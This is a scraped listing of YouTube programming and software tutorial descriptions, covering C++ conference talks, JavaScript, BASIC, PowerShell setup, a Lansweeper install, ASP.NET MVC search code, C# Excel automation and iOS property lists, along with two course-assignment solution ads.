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http://CppCon.org — Presentation Slides, PDFs, Source Code and other presenter materials are available at: https://github.com/CppCon/CppCon2018 — One of the main defining features of C++ is that of well defined object lifetime. We know that when a scope exits any local variables will be properly cleaned up. This is something that we rely upon and use regularly for the management of resources (ie RAII). However, there are some corners of the language that challenge our understanding of object lifetime. I have been teaching classes on understanding object lifetime for over a year now and some of these places continue to surprise my students and have even surprised me. We will explore these corners of C++ and ask if they cause enough concern that the language features should not be used, or if they are still worth the price? We will also ponder if these can be considered mistakes in the language or just side effects of a useful feature. We will also explore when and how the compiler and analyzers can warn on these issues. — Jason Turner Developer, Trainer, Speaker Host of C++Weekly https://www.youtube.com/c/JasonTurner-lefticus, Co-host of CppCast http://cppcast.com, Co-creator and maintainer of the embedded scripting language for C++, ChaiScript http://chaiscript.com, and author and curator of the forkable coding standards document http://cppbestpractices.com. I'm available for contracting and onsite training. — Videos Filmed & Edited by Bash Films: http://www.BashFilms.com
Views: 8233 CppCon
JavaScript Tutorials for Beginners - Part 5 - How to Use the String Data Type in JavaScript
 
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Get the full 40+ Hour “Become a Kick Ass Web Developer” course here► https://streamskill.com/p/become-a-kickass-web-developer/ During this JavaScript training tutorial for beginners video, discover how to use the string data type while programming using JavaScript. Watch the entire JavaScript playlist here: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3iw5Gup5f88RJIQLkXxqA6c Watch the entire AngularJS playlist here: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3h9reRQ9EYNg5M1Jh5L9BXZ Learn how to use Bootstrap to create a responsive website: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3hrmEpbse1aBHJg-KZtvN-- PHP tutorials: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3hNpTfG8c6skQufGsCc7fjx MySQL training: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3ga_sHmm6-CmJjgwCAeTKgA Java training: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3jWaSPfhJLz2ijcHo48tV7L Dreamweaver tutorials: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3gTZBNfW3FGkdacG5R3DZUZ HTML5 training: https://www.youtube.com/playlist?list=PLzj7TwUeMQ3gUTFciNyJZKEVZTLqOWPNf Stay in touch: StreamSkill.com: http://streamskill.com/ SimonSezIT.com: http://www.simonsezit.com/ YouTube Channel: http://bit.ly/foiItB Facebook: http://on.fb.me/14m8Rwl Twitter: http://bit.ly/177EU5J Google+: http://bit.ly/11JbHdb If you enjoyed the video, please give a "thumbs up" and subscribe to the channel ;-)
Views: 794 Simon Sez IT
Blender 2.5 Game Engine Tutorial Dynamic Text Display - 'Hello World' (Old Version)
 
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There is now a simplified version of this tutorial. A viewer pointed out that setting the Transparency to Alpha, simplifies things. Quite a lot of work just to display some dynamic text, but the Blender Game Engine does support text input and output (more about text input in another tutorial). This allows the creation of interactive multimedia applications (not just games), applications that can use Blender's 3D modelling and animation capabilities. In the tutorial I say that I left out a details about using Python script to set the 'Text' property to "hello world". Setting object properties using script is covered in my tutorial - 'Blender 2.5 Introduction to Using Python Script with the Blender Game Engine Moving Spheres in 3D' I also did not go into detail about how a mesh is linked to a bit map file and UV mapping information. I plan to re-do my UV mapping tutorial and create more texture related tutorials in the near future. Key points - To display text interactively a simple mesh plane is UV mapped to a bit map file of a character set of a particular font. Some how by mapping to the first character in the image file Blender will then map correctly to all the other characters. A custom property must be added to the mesh plane which must be named 'Text'. In Edit mode in the Object Data properties, after a mesh has been unwrapped, in the Texture Face panel, you will see - 'Options only supported in Game Engine'. In these options you must tick 'Text' To see all this working the Viewport Shading must be set to Textured. You have to set up logic bricks and possibly Python scripts to update the Text property when events occur. You have to set up materials and textures to display the text how you want it.
I have a confession.
 
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Mythical beasts... I have a confession to make... and it's that today's game involved Link trying to see if he can predict the deepest darkest secrets other YouTubers are willing to put out on the internet.   GMM #1380 Watch the loser's confession over on IGTV: http://bit.ly/GMM_Confession Watch today's GMMore: https://youtu.be/ibInAQvtVR8 Want more GMM? Watch this season from the start: http://bit.ly/GMM_S14 Pick up official GMM merch at https://mythical.store Get exclusive limited edition tees only at https://www.amazon.com/mythical Don’t miss our weekly podcast, Ear Biscuits: https://applepodcasts.com/earbiscuits Follow Rhett & Link:  Instagram: https://instagram.com/rhettandlink Facebook: https://facebook.com/rhettandlink Twitter: https://twitter.com/rhettandlink Website: https://mythical.com/ Check Out Our Other Mythical Channels: Good Mythical MORE: https://youtube.com/goodmythicalmore Rhett & Link: https://youtube.com/rhettandlink Mythical: https://youtube.com/thisismythical Want to send us something? https://mythical.com/contact Submit your Wheel of Mythicality intro video here: https://bit.ly/GMMWheelIntro Intro Animation by Digital Twigs: https://www.digitaltwigs.com Intro & Outro Music by Jeff Zeigler & Sarah Schimeneck https://www.jeffzeigler.com Supplemental Music from Extreme Production Music: https://www.extrememusic.com/ Mic: ‘The Mouse’ by Blue Microphones https://www.bluemic.com/mouse/
Views: 2344722 Good Mythical Morning
Programming in BASIC chapter 21 "Draw the Line somewhere" part 1
 
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Chapter 21 "Draw the LINE somewhere" is all about the DRAW command, which is a very flexible and powerful command to literally draw objects on the screen, in a variety of directions, angles, sizes and colors, what this command can do, and how to use it literally overwhelmed me, so, despite the near hour long length of this video, the chapter is not complete, we have more DIY projects and a few more options to the DRAW command to learn and use. Syntax: DRAW line draws a shape on the current graphics screen line is a string expression that may include the following motion commands, modes, and options: Motion Commands M = Move the draw position U = Up 0= Down l = left R = Right E = 45-degree angle F = 135-degree angle G = 225-degree angle H = 315-degree angle X = Execute a substring and return Modes C = Color A = Angle 5 = Scale Options N = No update of draw position B = Blank (no draw, just move) Note: If line is a string constant, you must enclose it in quotes. Always insert the B option directly before the M motion command; otherwise, unwanted lines may appear. Thanks for watching, don't forget to like, comment, and subscribe! Merchandise: http://ogsteviestrow.com/merchandise YouTube: https://youtube.com/ogsteviestrow Facebook: https://www.facebook.com/ogsteviestrow/ Twitter: https://twitter.com/ogsteviestrow Instagram: https://www.instagram.com/ogsteviestrow/ Website: http://ogsteviestrow.com Pixel art and logos created by Joel M. Adams: https://www.instagram.com/artistjoelmadams/ OG Theme Song by the Gimp of Hallowed Ground Records: https://www.reverbnation.com/gordy669 Original Music by Fran Mann and Side Seat Driver used with permission: https://www.reverbnation.com/franmann Music from the album Pac-Man Fever used with permission: http://pacmanfevervault.com/
Programming in BASIC chapter 21 "Draw the Line somewhere" part 1
 
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Chapter 21 "Draw the LINE somewhere" is all about the DRAW command, which is a very flexible and powerful command to literally draw objects on the screen, in a variety of directions, angles, sizes and colors, what this command can do, and how to use it literally overwhelmed me, so, despite the near hour long length of this video, the chapter is not complete, we have more DIY projects and a few more options to the DRAW command to learn and use. Syntax: DRAW line draws a shape on the current graphics screen line is a string expression that may include the following motion commands, modes, and options: Motion Commands M = Move the draw position U = Up 0= Down l = left R = Right E = 45-degree angle F = 135-degree angle G = 225-degree angle H = 315-degree angle X = Execute a substring and return Modes C = Color A = Angle 5 = Scale Options N = No update of draw position B = Blank (no draw, just move) Note: If line is a string constant, you must enclose it in quotes. Always insert the B option directly before the M motion command; otherwise, unwanted lines may appear. Thanks for watching, don't forget to like, comment, and subscribe! You can support this channel, it's content, and it's endeavors buy purchasing some Retro SWAG (merchandise) or becoming a patron, links below. Become a patron: https://patreon.com/ogsteviestrow CoCo Merchandise: http://8bit256.com CoCo Links: http://imacoconut.com CoCoTALK! http://cocotalk.live ogStevieStrow: http://ogsteviestrow.com Custom artwork designed by Instagram artist Joel M. Adams: https://www.instagram.com/artistjoelmadams/
Views: 6 I'm a CoCo Nut
Setting up Visual Studio Code for PowerShell Development
 
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If you're an aspiring PowerShell developer, we'll explore the process of getting set up with Visual Studio Code for PowerShell development work. It doesn't matter if you're using Linux, Mac, or Windows, you can be productive as a PowerShell developer on any development platform! We'll explore some of the useful VSCode settings that help you automatically format your PowerShell code, change your Integrated Terminal to PowerShell, from whatever your operating system's default shell is, and launch PowerShell as soon as VSCode starts, every time! Visual Studio Code: https://code.visualstudio.com PowerShell Core: https://github.com/powershell/powershell Visual Studio Code PowerShell Extension: https://github.com/powershell/vscode-powershell Website: https://trevorsullivan.net Twitter: https://twitter.com/pcgeek86 GitHub: https://github.com/pcgeek86
Views: 25660 Trevor Sullivan
Five NEW Things in Photoshop CC 2018 That You MUST Know!
 
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LEARN ALL THE BEST FROM PHOTOSHOP CC 2018! | In this video I’ll share with you my five favorite new features in Adobe Photoshop CC 2018. 💰 Buy the Photoshop Course and Support the Channel → http://bit.ly/28NuwFy 🏆 My Instagram: http://instagram.com/tutvid 🎯 Subscribe for Daily Tutorials → https://goo.gl/DN4Nln – In this Photoshop tutorial, we’ll take a look at the what and how of my favorite new features in Photoshop CC 2018. We’ll check out the newly improved Select & Mask with its new algorithmic power, we’ll explore the useful new Color and Luma masking tools in Camera RAW editor, we’ll check out the Variable type controls that transform a single font into a font with thousands of variations, we’ll check out the simple, ew Curvature Pen and how you can make and edit paths with it, and we’ll explore a really nifty and useful feature for helping you create the most smooth and beautiful strokes of paint with the Brush tool. These are my five favorite new things in Photoshop CC 2018! ⚡️ written tutorial here: http://bit.ly/2xcxn89 INSTAGRAM: http://instagram.com/tutvid TWITTER: http://twitter.com/tutvid FACEBOOK: https://www.facebook.com/tutvid SNAPCHAT: tutvid.com tutvid is a YouTube channel dedicated to creating the best Adobe Photoshop, Premiere Pro, Lightroom, and Illustrator tutorials. My goal is to create the best, most informative, and entertaining tutorials on the web. If you enjoy my videos, the best way to support what I do here is to purchase my course linked above or simply subscribe to the YouTube channel by pressing the red button. ✉️ business inquiries: [email protected]
Views: 375273 tutvid
Setting up Lansweeper | Easy Install
 
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Short step-by-step tutorial on installing Lansweeper. GET STARTED TODAY ► https://goo.gl/sdDbwc This video tutorial covers the Easy Install which is sufficient for most users with up to 1000 assets. When performing an easy install, the database will be set up under Microsoft SQL compact database server and the Lansweeper service, database and web console will be installed on the same machine. First things first, download the latest installer from our website lansweeper.com and run it on the Windows computer you want to install Lansweeper on. Make sure to go over the license agreement and hit ‘I Agree’to accept and continue the installation. Select the Easy install option and hit Next. The web console will automatically be installed under the first available ports, but you can choose custom ports if you prefer. Optionally, you can choose a custom folder to install Lansweeper under. This will install the web console under IIS Express and the database under Microsoft SQL compact. If you want to receive the latest Lansweeper news, solutions and updates, enter a name and email address to subscribe to our newsletter. Hit Finish to close the installer. Once installed, you can access the web console by double clicking on the Lansweeper desktop icon. You’ll be presented with the First Run Wizard, which allows you to set up scanning and configure some basic options. These settings can always be adjusted later. By default, Lansweeper will automatically detect the IP range in which you’re currently located. You can submit a different IP range for scanning if required. Using domain or workgroup scanning, Lansweeper will scan the Windows computers as they come online. It also scans domain users configured in active directory. Lansweeper uses administrative credentials to access and pull data from your computers. It’s important to know that your credentials are always encrypted and stored locally. Lansweeper never sends them across the network or internet. Your credential must have admin privileges on your computers and, for scanning domain computers and users, read-only access to Active Directory. For scanning network devices such as printers and switches, enter an SNMP community string. The default string is public, which is commonly used by network devices for read-only access, but can be different for your network. If you will be scanning Linux, Unix or Mac computers, enter an SSH username and password. If you have any VMware servers in your network, enter a username and password with read only access to the Managed Object Browser. Select the date format you would like to use throughout the Lansweeper web console and hit Finish. At this point, Lansweeper will automatically start scanning your network. Hit Continue to immediately proceed to the web console while scans are taking place in the background. The results from your Initial discovery can be consulted by clicking ‘Assets’ in the top menu. Click on a specific asset to catch a glimpse of the information Lansweeper was able to retrieve. But this is just the tip of the iceberg. Ready to get started? You can find more information below to help you set up Lansweeper and discover everything it has to offer. Read the full article ► https://goo.gl/tFr3kZ Useful Links Website ► https://goo.gl/zDPWq7 Latest Installer ► https://goo.gl/sdDbwc Knowledgebase ► https://goo.gl/B2cfcZ Forum ► https://goo.gl/jx3gfU Blog ► https://goo.gl/jd5qh7 Let’s Connect Facebook ► https://www.facebook.com/lansweeper.network.inventory Twitter ► https://twitter.com/lansweeper Linkedin ► https://www.linkedin.com/company/lansweeper-bvba/ Contact ► [email protected]
Views: 2124 Lansweeper
Part 62   Implementing search functionality in asp net mvc
 
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Link for code samples used in the demo http://csharp-video-tutorials.blogspot.com/2013/07/part-62-implementing-search.html Link for csharp, asp.net, ado.net, dotnet basics, mvc and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists In this video, we will discuss, implementing search page in an asp.net mvc application. We should be able to search by Employee Name and Gender. We will be using table tblEmployee for this demo. Use the script below to create and populate the table with sample data. Create table tblEmployee ( ID int identity primary key, Name nvarchar(50), Gender nvarchar(10), Email nvarchar(50) ) Insert into tblEmployee values('Sara Nani', 'Female', '[email protected]') Insert into tblEmployee values('James Histo', 'Male', '[email protected]') Insert into tblEmployee values('Mary Jane', 'Female', '[email protected]') Insert into tblEmployee values('Paul Sensit', 'Male', '[email protected]') Step 1: Create an empty asp.net mvc 4 application. Step 2: Generate ADO.NET entity data model from database using table tblEmployee. Change the entity name from tblEmployee to Employee. Save changes and build the application. Step 3: Add HomeController with the following settings. a) Controller name = HomeController b) Template = MVC controller with read/write actions and views, using Entity Framework c) Model class = Employee d) Data context class = SampleDBContext e) Views = Razor Step 4: Modify the Index() action method in HomeController as shown below. public ActionResult Index(string searchBy, string search) { if (searchBy == "Gender") { return View(db.Employees.Where(x =] x.Gender == search || search == null).ToList()); } else { return View(db.Employees.Where(x =] x.Name.StartsWith(search) || search == null).ToList()); } } Step 5: Copy and paste the following code in Index.cshtml view. @model IEnumerable[MVCDemo.Models.Employee] @{ ViewBag.Title = "Index"; } [div style="font-family:Arial"] [h2]Employee List[/h2] [p] @using (@Html.BeginForm("Index", "Home", FormMethod.Get)) { [b]Search By:[/b] @Html.RadioButton("searchBy", "Name", true) [text]Name[/text] @Html.RadioButton("searchBy", "Gender") [text]Gender[/text][br /] @Html.TextBox("search") [input type="submit" value="search" /] } [/p] [table border="1"] [tr] [th] @Html.DisplayNameFor(model =] model.Name) [/th] [th] @Html.DisplayNameFor(model =] model.Gender) [/th] [th] @Html.DisplayNameFor(model =] model.Email) [/th] [th]Action[/th] [/tr] @if (Model.Count() == 0) { [tr] [td colspan="4"] No records match search criteria [/td] [/tr] } else { foreach (var item in Model) { [tr] [td] @Html.DisplayFor(modelItem =] item.Name) [/td] [td] @Html.DisplayFor(modelItem =] item.Gender) [/td] [td] @Html.DisplayFor(modelItem =] item.Email) [/td] [td] @Html.ActionLink("Edit", "Edit", new { id = item.ID }) | @Html.ActionLink("Details", "Details", new { id = item.ID }) | @Html.ActionLink("Delete", "Delete", new { id = item.ID }) [/td] [/tr] } } [/table] [/div] Please make sure to replace [ with LESSTHAN and ] with GREATERTHAN symbol.
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JOptionPane - Java Basics
 
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Prompt a user to enter his or her information using the JOptionPane.showInputDialog() method. Be sure to first import the class: ==== import javax.swing.JOptionPane; ==== Please visit [ http://www.tigertutorials.com ] for more java and website tutorials!
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CppCon 2018: Victor Ciura “Enough string_view to Hang Ourselves”
 
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http://CppCon.org — Presentation Slides, PDFs, Source Code and other presenter materials are available at: https://github.com/CppCon/CppCon2018 — Wouldn’t it be nice if we had a standard C++ type to represent strings ? Oh, wait... we do: std::string. Wouldn’t it be nice if we could use that standard type throughout our whole application/project ? Well… we can’t ! Unless we’re writing a console app or a service. But, if we’re writing an app with GUI or interacting with modern OS APIs, chances are that we’ll need to deal with at least one other non-standard C++ string type. Depending on the platform and project, it may be CString from MFC or ATL, Platform::String from WinRT, QString from Qt, wxString from wxWidgets, etc. Oh, let’s not forget our old friend `const char*`, better yet `const wchar_t*` for the C family of APIs… So we ended up with two string types in our codebase. OK, that’s manageable: we stick with std::string for all platform independent code and convert back-and-forth to the other XString when interacting with system APIs or GUI code. We’ll make some unnecessary copies when crossing this bridge and we’ll end up with some funny looking functions juggling two types of strings; but that’s glue code, anyway… right? It’s a good plan... until our project grows and we accumulate lots of string utilities and algorithms. Do we restrict those algorithmic goodies to std::string ? Do we fallback on the common denominator `const char*` and lose the type/memory safety of our C++ type ? Is C++17 std::string_view the answer to all our string problems ? We’ll try to explore our options, together: best practices, gotchas, things to avoid... all in the context of modern C++ projects. — Victor Ciura, CAPHYON Software Developer Victor Ciura is a Senior Software Engineer at CAPHYON and Technical Lead on the Advanced Installer team (http://www.advancedinstaller.com). For over a decade, he designed and implemented several core components and libraries of Advanced Installer. He’s a regular guest at Computer Science Department of his Alma Mater, University of Craiova, where he gives student lectures & workshops on “Using C++STL for Competitive Programming and Software Development”. Currently, he spends most of his time working with his talented team on improving and extending the repackaging and virtualization technologies in Advanced Installer IDE, helping clients migrate their Win32 desktop apps to the Windows Store (MSIX). — Videos Filmed & Edited by Bash Films: http://www.BashFilms.com
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EXERCISE TWO: Write & Test Your First Function  |  Simple JS Project Training Tutorial
 
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FULL CODE + IMAGES + SLIDES @ http://blog.breakthru.solutions/learn-javascript-simple-project-rock-paper-scissors PLAYLIST: https://www.youtube.com/playlist?list=PLRcnnTsvnkLN0VUFnWMfxhW-20pWBT4cJ FOLLOW ME ON TWITTER: https://twitter.com/thepowerslacker FURTHER READING Functions: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions Math.random: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random Math.floor: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor Console.log: FROM THE DOCS: Generally speaking, a function is a "subprogram" that can be called by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the function body. Values can be passed to a function, and the function will return a value. In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are Function objects. For more examples and explanations, see also the JavaScript guide about functions. Description Every function in JavaScript is a Function object. See Function for information on properties and methods of Function objects. Functions are not the same as procedures. A function always returns a value, whereas a procedure might not. To return a value other than the default, a function must have a return statement that specifies the value to return. A function without a return statement will return a default value. In the case of a constructor called with the new keyword, the default value is the value of its this parameter. For all other functions, the default return value is undefined. The parameters of a function call are the function's arguments. Arguments are passed to functions by value. If the function changes the value of an argument, this change is not reflected globally or in the calling function.
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How to Open Excel File in C#
 
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In this tutorial, we will show you how to open an excel file in C# application. Don't forget to check out our site http://howtech.tv/ for more free how-to videos! http://youtube.com/ithowtovids - our feed http://www.facebook.com/howtechtv - join us on facebook https://plus.google.com/103440382717658277879 - our group in Google+ In this easy step by step tutorial, you will learn how to access and open an excel workbook using C#. Microsoft Excel can be managed and operated through C# code with the help of several built in libraries, which include functions to operate Excel. Step#1: Create a new project First of all, let's start a new project in C#, select Console Application from the options and name the project before hitting the OK button. Step#2: Accessing Microsoft Office Application Libraries With that done, the code window will open up. Now we have to add some libraries first. For that, move towards the libraries portion at the top, and add the two assemblies as shown below: "using Microsoft.Office.Interop", and "using Excel=Microsoft.Office.Interop.excel." These assemblies contain the functions required for the input and output for Microsoft Office Applications, in this case Excel files in C#. Step#3: Specifying the path of the Excel file Next, define a new function in the code, and name it 'openfile()'. We will be accessing an excel file in C# that already exists in the system. Hence, the function definition will start with a string variable which would contain the path for the excel file we need to open. We can define the path with the "@" sign, enclosing it in double quotes. Now let us move to the directory where our file is kept. This is the file which has to be opened through our console application. Notice that it only contains a small string over here. To find its path, you can open up the properties window and move to the security tab. The path is written at the top next to "Object name". Simply copy and paste it in the code. using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Office.Interop; using Excel = Microsoft.Office.Interop.Excel; namespace open_exelfile { class Program { static void openfile() { string mySheet = @"C:\Desktop\book.xlsx"; var excelApp = new Excel.Application(); excelApp.Visible = true; Excel.Workbooks books = excelApp.Workbooks; Excel.Workbook sheet = books.Open(mySheet); } static void Main(string[] args) { openfile(); } } } Step#4: Finalizing the openfile() Function With that done, create two more objects, one with the "Excel.workbooks" class and the other with the "Excel.workbook sheet" class. After that, let's assign the sheet variable in the "books.Open" argument over here. The function definition is now completed and we just have to call our function. For that, just copy the function name and paste it along with a semicolon in the Main function. Step#5: Adding References to Execute the Application If you press F5 to execute the code, you will be notified with some build errors. This is because we haven't added the references for Microsoft Excel Objects which we are using in our code. To add them, just open the Project menu and choose the "Add Reference" option. In the "COM" tab, select the component "Microsoft Excel 12.0 Object Library" and press OK. Now execute the program. A console screen will appear, and after the processing is complete, the excel file will open up. And this is how to open excel file in C#.
Fix Cannot Shift Objects Error in Excel 2007
 
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http://blog.contextures.com/archives/2009/03/16/cannot-shift-objects-off-sheet-in-excel-2007/ When trying to insert rows or insert columns in an Excel worksheet, you might see the error message "Cannot shift objects off sheet." In some cases, the problem can be fixed if you change the Object Display settings. This video shows you how to change the settings in the Options window, or with a keyboard shortcut.
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How To Populate DropDown List With Options From Array Using Javascript [ with source code ]
 
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add options to select tag from array using javascript Source Code: http://1bestcsharp.blogspot.com/2017/03/javascript-populate-select-option-from-array.html Javascript Tutorials For Beginners ➜ http://bit.ly/2k7NMWq Javascript Course ➜ http://bit.ly/2IvBCFC visit our blog https://1bestcsharp.blogspot.com/ subscribe: http://goo.gl/nRjPKk In This Javascript Tutorial we will see How To How to Add Options To Select Box From Array Using For Loop In Netbeans Editor . Javascript Tutorials : How to get value of selected radio button https://www.youtube.com/watch?v=uzwUBDQfpkU How to append Value to an array https://www.youtube.com/watch?v=KVdY8n6lCy4 javascript images slider 1 https://www.youtube.com/watch?v=QkcemPr4xaU Convert String To Number https://www.youtube.com/watch?v=JMfZG7o_QtE JavaScript Show And Hide Input Password Text https://www.youtube.com/watch?v=Cmo9sjx5eFE change div class name in js https://www.youtube.com/watch?v=X_SDJxKI6HE using checkbox with js https://www.youtube.com/watch?v=yFYEHSh2iTQ get And Set Value To An Input https://www.youtube.com/watch?v=AfRHl3soLDg calculate two numbers https://www.youtube.com/watch?v=oDUjP4N_MtQ Search Element In Array https://www.youtube.com/watch?v=LIsjSMr9bJU Add Search Remove Array Element https://www.youtube.com/watch?v=ppLbuVWf6zM Add HTML Table Row https://www.youtube.com/watch?v=FVSfp8yT8lA Get Mouse Position https://www.youtube.com/watch?v=LVi5DN2vtdo Show Text Letter By Letter https://www.youtube.com/watch?v=dbdYazO4IZ4
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Property Lists - Saving Data in iOS - raywenderlich.com
 
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Property Lists are used extensively throughout iOS. In this video, you'll learn how to use them. Updated course: https://videos.raywenderlich.com/courses/69-saving-data-in-ios/lessons/1 --- About www.raywenderlich.com: raywenderlich.com is a website focused on developing high quality programming tutorials. Our goal is to take the coolest and most challenging topics and make them easy for everyone to learn – so we can all make amazing apps. Update course: https://videos.raywenderlich.com/courses/58-beginning-spritekit/lessons/1 We are also focused on developing a strong community. Our goal is to help each other reach our dreams through friendship and cooperation. As you can see below, a bunch of us have joined forces to make this happen: authors, editors, subject matter experts, app reviewers, and most importantly our amazing readers! --- In this course, you’ll take a tour of the many different ways to save data in iOS, such as User Defaults, Property Lists, NSCoding, and more. Each method has its place, so you’ll learn which option to use when, and also how to reuse code as much as possible. Let’s take a look at what’s inside! A property list is a structured data representation used by Cocoa and Core Foundation as a convenient way to store, organize, and access standard types of data. It is colloquially referred to as a “plist.” Property lists are used extensively by applications and other software on OS X and iOS. For example, the OS X Finder—through bundles—uses property lists to store file and directory attributes. Applications on iOS use property lists in their Settings bundle to define the list of options displayed to users. This section explains what property lists are and when you should use them. What is a Property List? Property lists are based on an abstraction for expressing simple hierarchies of data. The items of data in a property list are of a limited number of types. Some types are for primitive values and others are for containers of values. The primitive types are strings, numbers, binary data, dates, and Boolean values. The containers are arrays—indexed collections of values—and dictionaries—collections of values each identified by a key. The containers can contain other containers as well as the primitive types. Thus you might have an array of dictionaries, and each dictionary might contain other arrays and dictionaries, as well as the primitive types. A root property-list object is at the top of this hierarchy, and in almost all cases is a dictionary or an array. Note, however, that a root property-list object does not have to be a dictionary or array; for example, you could have a single string, number, or date, and that primitive value by itself can constitute a property list. From the basic abstraction derives both a static representation of the property-list data and a runtime representation of the property list. The static representation of a property list, which is used for storage, can be either XML or binary data. (The binary version is a more compact form of the XML property list.) In XML, each type is represented by a certain element. The runtime representation of a property list is based on objects corresponding to the abstract types. The objects can be Cocoa or Core Foundation objects. Table 2-1 lists the types and their corresponding static and runtime representations. By convention, each Cocoa and Core Foundation object listed in Table 2-1 is called a property-list object. Conceptually, you can think of “property list” as being an abstract superclass of all these classes. If you receive a property list object from some method or function, you know that it must be an instance of one of these types, but a priori you may not know which type. If a property-list object is a container (that is, an array or dictionary), all objects contained within it must also be property-list objects. If an array or dictionary contains objects that are not property-list objects, then you cannot save and restore the hierarchy of data using the various property-list methods and functions. And although NSDictionary and CFDictionary objects allow their keys to be objects of any type, if the keys are not string objects, the collections are not property-list objects. Because all these types can be automatically cast to and from their corresponding Cocoa types, you can use the Core Foundation property list API with Cocoa objects. In most cases, however, methods provided by the NSPropertyListSerialization class should provide enough flexibility.
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COP3330 PROGRAMMING #7 SOLUTION
 
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https://goo.gl/7SbZE4 Learning objective : You are to gain experience using a single class to implement a solution to more than one problem and experience modifying a class that implements a data structure. Exercise 1 Write a main program called palindrome.cpp. This program will accept as input a single group of character and your output will be a single answer, either the string is a palindrome or not a palindrome. A palindrome is a word or string of characters that is spelled the same backward or forward. Write a program that uses a stack object to determine if a string is a palindrome (i.e. the string is spelled identically backward and forward). The program should ignore spaces and punctuation. Go ahead and start your program by reading in a C-style string from standard input, using the getline function. You may assume a limit of 100 characters on the string (although this can be written, with a little more effort, to accept any size string). Your algorithm must make use of a stack (of type char). Use the Deitel implementation of the Stack from “stack.h” (you don’t need to change this file). Ignore spacing and punctuation, as well as special characters and digits (i.e. only count letters as part of a palindrome, and account for upper/lower case. For example, ‘B’ and ‘b’ are matching letters). Sample runs: (user input underlined) Please enter a string: ABCDEFGHGFEDCBA “ABCDEFGHGFEDCBA” IS a palindrome Please enter a string: The quick brown fox “The quick brown fox” is NOT palindrome Please enter a string: Cigar? Toss it in a can. It is so tragic. “Cigar? Toss it in a can. It is so tragic.” IS a palindrome\ Want some palindromes to test you can visit the site www.palindrome.com. Implementation Details: – If the user enters a string of characters that contain spaces or special characters you need to reject it ( not try to evaluate it) and issue an appropriate error message. COP3330 Object Oriented Programming in C/C++ COP3330 Page 2 – You need to ignore the case ( upper or lower case) which means that you should change the input string to either upper or lower case letters. – Since you are reading data into a C-style string to begin, you may use any of the libraries iostream, cstring, and cctype, if you like. (The first, of course, for I/O, and the other two, since they deal with C-style strings and characters). Exercise 2 Modify the List class (file list.h so that it has two more functions, which will allow inserts and removes from anywhere in the linked list. Your functions should be called: · insertMiddle · removeMiddle Your functions should have all the same features as the given insert and remove functions, except that yours each have one extra parameter. The second parameter on each of your functions should be of type int, representing the position at which to insert (or delete). Sample calls for a list of integers: L.insertMiddle(345, 5); // attempts to insert the value 345 // as the 5th item in the list L.removeMiddle(x, 10); // attempts to delete the 10th item in the // list and captures its value into x. For insertMiddle, if the position number is larger than the number of items in the list, just insert the item at the back. If it’s too small (i.e. 0 or less), insert at the front. For removeMiddle, return false if the position is invalid (without removing anything). I’ve modified the menu program of Figure 21.5 so that it adds in two more menu options for testing these features. You can use it to test your class: menu7.cpp Submitting: Submit Files palindrom.cpp and list.h COP3330 Object Oriented Programming in C/C++ COP3330 Page 3 // * *******************************************************************
COP3330 Programming Assignment #7 Solution  by Top Codes
 
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https://goo.gl/6HWqgJ Write a main program called palindrome.cpp. This program will accept as input a single group of character and your output will be a single answer, either the string is a palindrome or not a palindrome. A palindrome is a word or string of characters that is spelled the same backward or forward. Write a program that uses a stack object to determine if a string is a palindrome (i.e. the string is spelled identically backward and forward). The program should ignore spaces and punctuation. Go ahead and start your program by reading in a C-style string from standard input, using the getline function. You may assume a limit of 100 characters on the string (although this can be written, with a little more effort, to accept any size string). Your algorithm must make use of a stack (of type char). Use the Deitel implementation of the Stack from "stack.h" (you don't need to change this file). Ignore spacing and punctuation, as well as special characters and digits (i.e. only count letters as part of a palindrome, and account for upper/lower case. For example, 'B' and 'b' are matching letters). Sample runs: (user input underlined) Please enter a string: ABCDEFGHGFEDCBA "ABCDEFGHGFEDCBA" IS a palindrome Please enter a string: The quick brown fox "The quick brown fox" is NOT palindrome Please enter a string: Cigar? Toss it in a can. It is so tragic. "Cigar? Toss it in a can. It is so tragic." IS a palindrome\ Want some palindromes to test you can visit the site www.palindrome.com. Implementation Details: - If the user enters a string of characters that contain spaces or special characters you need to reject it ( not try to evaluate it) and issue an appropriate error message. COP3330 Object Oriented Programming in C/C++ COP3330 Page 2 - You need to ignore the case ( upper or lower case) which means that you should change the input string to either upper or lower case letters. - Since you are reading data into a C-style string to begin, you may use any of the libraries iostream, cstring, and cctype, if you like. (The first, of course, for I/O, and the other two, since they deal with C-style strings and characters). Exercise 2 Modify the List class (file list.h so that it has two more functions, which will allow inserts and removes from anywhere in the linked list. Your functions should be called: · insertMiddle · removeMiddle Your functions should have all the same features as the given insert and remove functions, except that yours each have one extra parameter. The second parameter on each of your functions should be of type int, representing the position at which to insert (or delete). Sample calls for a list of integers: L.insertMiddle(345, 5); // attempts to insert the value 345 // as the 5th item in the list L.removeMiddle(x, 10); // attempts to delete the 10th item in the // list and captures its value into x. For insertMiddle, if the position number is larger than the number of items in the list, just insert the item at the back. If it's too small (i.e. 0 or less), insert at the front. For removeMiddle, return false if the position is invalid (without removing anything). I've modified the menu program of Figure 21.5 so that it adds in two more menu options for testing these features. You can use it to test your class: menu7.cpp
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Android Dev Summit 2018 Livestream | Day 2, Theater 2
 
